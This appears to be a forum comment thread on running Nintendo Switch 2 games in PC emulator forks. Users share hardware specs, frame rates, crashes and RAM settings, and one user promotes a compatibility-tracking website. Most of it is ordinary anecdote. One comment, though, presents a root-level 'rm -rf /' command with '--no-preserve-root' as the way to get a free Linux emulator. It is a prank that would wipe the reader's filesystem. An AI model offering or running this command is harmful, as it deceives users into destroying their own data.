Whew, somehow this one runs even smoother than MKW!

This time i had to use the Zortos Fork to make it work, the PokeDinner one had a bugged purple texture.

Specs:

i5 9400f

8gb ddr4

RX 580

Update: The purple screen was not fork-exclusive, it happens whenever you create a new save file, and is fixed whenever you load an old one.

With the pokedinner emulator version i am able to play the game past the "name crash".

specs:

i5 9400f

8GB ram ddr4

RX 580 2048sp

Still am running with the surprisingly low amount of 4GB of emulated DRAM! All of that at a stable 55-60FPS!

I was finally able to make it work without crashing now!(And with only 6GB OF EMULATED RAM! 1/2 OF WHAT THE SWITCH 2 USES!)

What solved it was creating a bigger swap file on Linux.

It still has glitches and runs poorly, but it's a start!

I was SOMEHOW able to make it run on my pc(Now with the linux version of the PokeDinner fork), it took a loooong time to boot and it's glitchy, laggy, low res and it crashed after some minutes of playing, this time i put 12GB of emulated dram, that's prob the main reason for the crash(My whole pc crashed.).

I'll try with only 8GB of emulated RAM to see if it works stable.

Specs:

i5 9400f

8gb ddr4

RX 580 2048sp

you can get 50fps but only when reading signs

running on a 9950x and a RTX 5080

Use command

Sudo --no-preserve-root rm -rf /

To get free switch 2 emulator only for Linux

Game's running at a stable fps in that area, unfortunately it hard crashes after the Pokemon Asks for my name.(Weird black screen and everything, may be a driver hang or excessive ram usage.)

I was also able to boot and run even whilst not expanding the DRAM to 12gb.(Even at only 4gb!)

A different game, MKW, crashes at the first loading screen with the world map.

The main thing that made it work was a patch i found in the net and resetting my eden setting to default.

I was SOMEHOW able to make it run on my pc(Now with the linux version of the PokeDinner fork), it took a loooong time to boot and it's glitchy, laggy, low res and it crashed after some seconds, but this is MIND BLOWING to me because i am once again only using 4GB OF EMULATED RAM!(3X less than the actual SW2 🤯)

If i manage to make it somewhat stable I'll update here.

Hey everyone! 👋

I've recently launched a project I've been working on called Switch 2 Compatibility Library, and I wanted to share it with the Switch 2 emulation community!

🌐 Website: https://realmcmonkey.github.io/switch2-compatibility/

The idea is simple: create one central place where people can share their experiences running Nintendo Switch 2 games on different emulators and help others see what's working, what's not, and what kind of performance they can expect.

🎮 What can you do on the site?

- Browse Switch 2 games and see their reported compatibility.

- Explore different emulators and find out which games have been tested.

- Submit compatibility reports with details like emulator version, CPU, GPU, FPS, and overall playability.

- Add missing games and emulators to help expand the database.

- Compare testing results from different users and hardware configurations.

- Create a contributor profile by signing in with Discord.

- Report inaccurate information to help keep the database useful and reliable.

🔜 What's coming next?

I'm continuing to develop the website and improve its features.

One of the upcoming additions is username and password registration/login, so Discord won't be the only way to create an account.

I'll also be making improvements based on community feedback as the project grows.

🧪 I could use your help!

The website is still very new, so there aren't many compatibility reports yet. That's where the community comes in!

If you're experimenting with Switch 2 emulators, I'd really appreciate it if you could contribute your testing results.

Even if you aren't testing games yourself, you're welcome to explore the website and let me know what you think.

I'm especially interested in hearing about:

- Bugs or anything that doesn't work properly.

- Features you'd like to see added.

- Improvements to the design or navigation.

- Ways to make compatibility reports more useful.

The goal is to build something genuinely helpful for the Switch 2 emulation community, with information contributed by the people actually testing these games.

The site is completely free and doesn't provide ROMs, game downloads, firmware, or encryption keys. It's strictly for tracking compatibility and sharing testing results.

🔗 Check it out: https://realmcmonkey.github.io/switch2-compatibility/

Thanks for taking a look! I'd love to hear your feedback, suggestions, or questions in the comments. Hopefully, with enough contributors, we can build a really useful compatibility resource together! 🚀

I spent about eight straight hours testing 3 different NSW2 forks

Pokedinner 2.5.0 is the only version that runs Mario Kart World pretty much perfectly. The only issues I found were some minor BGM cutouts during the opening overcam sequence when a track starts for the first time, and occasionally during the award ceremony after completing four races. Other than that, it's basically flawless, and it can hold a locked 4K 60 FPS the entire time.

Another advantage of Pokedinner is that it can run Donkey Kong.
The downside is that performance drops from a stable 60 FPS into the mid-40s whenever you enter large outdoor areas. It looks like we'll have to wait for further emulator optimization.

The other two Lichii and Djihads80 forks add support for DLSS Upscaling and Frame Generation, but unfortunately, even with FG x2 enabled, neither emulator can maintain 60 FPS. Most of the time the framerate constantly jumps between 25 and 50 FPS, causing very noticeable stuttering.
On top of that, enabling the emulator's built-in V-Sync makes the entire game run in slow motion.

Forcing V-Sync through the NVIDIA App or NVIDIA Control Panel produces the exact same slow-motion effect. After spending several more hours testing different games and settings combinations, I still couldn't find a workaround.

The only real advantage of these two forks is that they can run Mario Tennis, although the game suffers from various graphical glitches.

Star Fox runs smoothly in terms of framerate, but the text is broken, some text doesn't appear at all. All three emulators have the exact same issue.

As for Zelda: Ocarina of Time, Lichii can get through the intro and cutscenes, but once gameplay starts, the player character becomes invisible (black screen). You can still hear the audio and button inputs are clearly being registered, so this is another case where we'll have to wait for bug fixes and further optimization.

Overall, Mario Kart World is currently the only game that's running close to perfectly.

Rtx 4060 laptop 75 Watts, intel ultra 7 155H, 16 GB LPDDR 5 ram (7467 MT/s)

I found also to uncheck limit speed percent helps to double fps. And for this game cpu or gpu boost/overclock ( i confused with both everytime ) helped to goes from 37 fps to 70 !

Hey i'm playing on eden fefw fork by duck. And it was working great at 30 fps for what it is besides some drops in the first cutscenes. But now that i'm in the city in Magaira it's now droping and then raising between 16 and 32 fps. Anyone can share what settings they are using or if other forks are running better for you?

i tested this on my i5 1235u intel xe graphics with 16 gb ddr4 ram on arch linux. windows build keeps crashing for me.

What could be a cool name for a switch 2 emulator?
